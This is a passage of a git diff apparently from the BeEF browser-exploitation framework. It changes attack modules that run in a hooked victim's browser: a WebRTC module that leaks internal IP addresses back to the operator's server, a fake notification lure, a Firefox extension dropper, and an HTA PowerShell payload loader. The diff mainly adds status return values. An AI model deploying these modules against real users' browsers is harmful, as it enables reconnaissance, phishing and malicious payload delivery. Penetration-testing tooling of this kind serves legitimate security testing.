(RTCPeerConnection){ var addrs = Object.create(null); addrs["0.0.0.0"] = false; @@ -24,6 +24,7 @@ beef.execute(function() { if (evt.candidate){ beef.debug("a="+evt.candidate.candidate); grepSDP("a="+evt.candidate.candidate); + retResults(); } }; @@ -31,10 +32,18 @@ beef.execute(function() { rtc.createOffer(function (offerDesc) { grepSDP(offerDesc.sdp); rtc.setLocalDescription(offerDesc); + retResults(); }, function (e) { beef.debug("SDP Offer Failed"); - beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed"); - }); + beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed", beef.are.status_error()); + }); + + function retResults(){ + var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; }); + + // This is for the ARE, as this module is async, so we can't just return as we would in a normal sync way + get_internal_ip_webrtc_mod_output = [beef.are.status_success(), displayAddrs.join(",")]; + } // Return results function processIPs(newAddr) { @@ -42,9 +51,10 @@ beef.execute(function() { else addrs[newAddr] = true; var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; }); beef.debug("Found IPs: "+ displayAddrs.join(",")); - beef.net.send('<%= @command_url %>', <%= @command_id %>, "IP is " + displayAddrs.join(",")); + beef.net.send('<%= @command_url %>', <%= @command_id %>, "IP is " + displayAddrs.join(","), beef.are.status_success()); } + // Retrieve IP addresses from SDP function grepSDP(sdp) { var hosts = []; @@ -61,8 +71,7 @@ beef.execute(function() { } }); } - })(); else { - beef.net.send('<%= @command_url %>', <%= @command_id %>, "Browser doesn't appear to support RTCPeerConnection"); - } - + }else { + beef.net.send('<%= @command_url %>', <%= @command_id %>, "Browser doesn't appear to support RTCPeerConnection", beef.are.status_error()); + } }); diff --git a/modules/social_engineering/fake_notification_c/command.js b/modules/social_engineering/fake_notification_c/command.js index 9ce45784d..4cd11f856 100644 --- a/modules/social_engineering/fake_notification_c/command.js +++ b/modules/social_engineering/fake_notification_c/command.js @@ -29,7 +29,8 @@ beef.execute(function() { }); $j(hid).css('cursor','pointer'); $j(hid).slideDown(300,function() { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed'); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed', beef.are.status_success()); }); + return [beef.are.status_success(), 'Notification has been displayed']; }); diff --git a/modules/social_engineering/firefox_extension_dropper/extension/build/readme.txt b/modules/social_engineering/firefox_extension_dropper/extension/build/readme.txt deleted file mode 100644 index 9aa47d25d..000000000 --- a/modules/social_engineering/firefox_extension_dropper/extension/build/readme.txt +++ /dev/null @@ -1 +0,0 @@ -This is a temp directory where the Firefox extension will be built. \ No newline at end of file diff --git a/modules/social_engineering/hta_powershell/command.js b/modules/social_engineering/hta_powershell/command.js index 707299f5b..0ac4c0764 100755 --- a/modules/social_engineering/hta_powershell/command.js +++ b/modules/social_engineering/hta_powershell/command.js @@ -4,9 +4,9 @@ // See the file 'doc/COPYING' for copying permission // -beef.execute(function () { +beef.execute(function(){ - var hta_url = '<%= @ps_url %>' + '/hta'; + var hta_url = '<%= @domain %>' + '<%= @ps_url %>' + '/hta'; if (beef.browser.isIE()) { // application='yes' is IE-only and needed to load the HTA into an IFrame. diff --git a/test/integration/ts_integration.rb b/test/integration/ts_integration.rb index 9d8c9c2cb..521ed4ba7 100644 --- a/test/integration/ts_integration.rb +++ b/test/integration/ts_integration.rb @@ -15,7 +15,7 @@ require 'selenium/webdriver' require './check_environment' # Basic log in and log out tests require './tc_debug_modules' # RESTful API tests (as well as debug modules) require './tc_login' # Basic log in and log out tests -require './tc_jools' # Basic tests for jools +#require './tc_jools' # Basic tests for jools #require './tc_dns_rest' # Basic tests for DNS RESTful API interface require './tc_social_engineering_rest' # Basic tests for social engineering RESTful API interface @@ -26,7 +26,7 @@ class TS_BeefIntegrationTests suite << TC_CheckEnvironment.suite suite << TC_login.suite suite << TC_DebugModules.suite - suite << TC_Jools.suite + #suite << TC_Jools.suite #suite << TC_DnsRest.suite suite << TC_SocialEngineeringRest.suite